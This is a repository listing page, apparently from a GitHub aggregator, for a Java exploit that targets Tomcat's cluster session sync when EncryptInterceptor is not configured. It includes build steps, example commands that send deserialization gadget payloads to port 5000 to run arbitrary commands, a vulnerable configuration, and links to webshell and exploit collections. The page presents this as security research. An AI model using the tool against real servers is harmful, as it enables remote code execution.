• Stars
    star
    215
  • Rank 183,925 (Top 4 %)
  • Language
    Java
  • Created over 4 years ago
  • Updated over 4 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

tomcat使用了自带session同步功能时,不安全的配置(没有使用EncryptInterceptor)导致存在的反序列化漏洞,通过精心构造的数据包, 可以对使用了tomcat自带session同步功能的服务器进行攻击。PS:这个不是CVE-2020-9484,9484是session持久化的洞,这个是session集群同步的洞!

工具仅用于安全研究以及内部自查,禁止使用工具发起非法攻击,造成的后果使用者负责

tomcat cluster sync-session 利用exp

这是一个tomcat使用了自带session同步功能时,不安全的配置(没有使用EncryptInterceptor)导致存在的反序列化漏洞,通过精心构造的数据包, 可以对使用了tomcat自带session同步功能的服务器进行攻击。

使用

先编译出jar包:

mvn clean compile assembly:assembly

生成jar包存在于target目录下

使用,例:

java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 Jdk7u21 "/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 Jdk8u20 "/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 URLDNS "http://tomcat.xxxxx.ceye.io"

条件

  1. tomcat启用了session同步,没有配置EncryptInterceptor
  2. jdk版本低于jdk8u20、jdk7u21(不知道有没有错)
  3. 同步端点可访问(一般是内网)

tomcat-session同步配置

(conf/server.xml):

<Server>
    ...
    
    <Service>
        ...
        
        <Engine>
            ...
            
            <Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"
                    channelSendOptions="6">
            
                    <Manager className="org.apache.catalina.ha.session.BackupManager"
                      expireSessionsOnShutdown="false"
                      notifyListenersOnReplication="true"
                      mapSendOptions="6"/>
            
            
                    <Channel className="org.apache.catalina.tribes.group.GroupChannel">
                      <Membership className="org.apache.catalina.tribes.membership.McastService"
                        address="228.0.0.4"
                        port="45564"
                        frequency="500"
                        dropTime="3000"/>
                      <Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
                        address="123.123.123.123"
                        port="5000"
                        selectorTimeout="100"
                        maxThreads="6"/>
            
                      <Sender className="org.apache.catalina.tribes.transport.ReplicationTransmitter">
                        <Transport className="org.apache.catalina.tribes.transport.nio.PooledParallelSender"/>
                      </Sender>
                    </Channel>
            
                    <Valve className="org.apache.catalina.ha.tcp.ReplicationValve"
                      filter=".*\.gif;.*\.js;.*\.jpg;.*\.png;.*\.htm;.*\.html;.*\.css;.*\.txt;"/>
            
                    <Deployer className="org.apache.catalina.ha.deploy.FarmWarDeployer"
                      tempDir="/tmp/war-temp/"
                      deployDir="/tmp/war-deploy/"
                      watchDir="/tmp/war-listen/"
                      watchEnabled="false"/>
            
                    <ClusterListener className="org.apache.catalina.ha.session.ClusterSessionListener"/>
            </Cluster>
        </Engine>
  </Service>
</Server>

More Repositories

1

learnjavabug

Java安全相关的漏洞和技术demo,原生Java、Fastjson、Jackson、Hessian2、XML反序列化漏洞利用和Spring、Dubbo、Shiro、CAS、Tomcat、RMI、Nexus等框架\中间件\功能的exploits以及Java Security Manager绕过、Dubbo-Hessian2安全加固等等实践代码。
Java
2,567
star
2

JSP-WebShells

Collect JSP webshell of various implementation methods. 收集JSP Webshell的各种姿势
Java
1,332
star
3

ZhouYu

(周瑜)Java - SpringBoot 持久化 WebShell 学习demo(不仅仅是SpringBoot,适合任何符合JavaEE规范的服务)
Java
578
star
4

log-agent

利用agent hock指定的class,在jar运行周期内,用于跟踪被执行的方法,辅助做一些事情,比如挖洞啊
Java
127
star
5

dubbo-exp

dubbo快速利用exp,基本上老版本覆盖100%。
Java
103
star
6

FindClassInJars

个人用于在自动化挖掘gadget时,方便查找gadget chains中class所在jar包,以助于便捷审计测试gadget有效性的那么一个小工具。
Java
61
star
7

GuanYu

JVM runtime class loading protection agent.(JVM类加载保护agent)
Java
47
star
8

wxwork-sdk-utils

企业微信工具包(机器人webhook utils),封装起来,使各种类型的消息构建更加简单,并加入推送工具,一步到位。
Java
17
star
9

jar-compatibility-detector

安全升级jar包时,辅助检测Java Archive (JAR) 包之间兼容性
Java
14
star
10

Path-Scan

Java版的web路径扫描器,可配置线程数(默认32线程),以及连接超时、读取超时时间(在网络情况糟糕时自定义配置,默认连接超时时间1ms)
Java
5
star
11

threedr3am.github.io

HTML
5
star
12

wx-work-robots-docker

瞎写玩玩~~~
Shell
2
star
13

cas-server-base

cas
CSS
1
star
14

threedr3am

1
star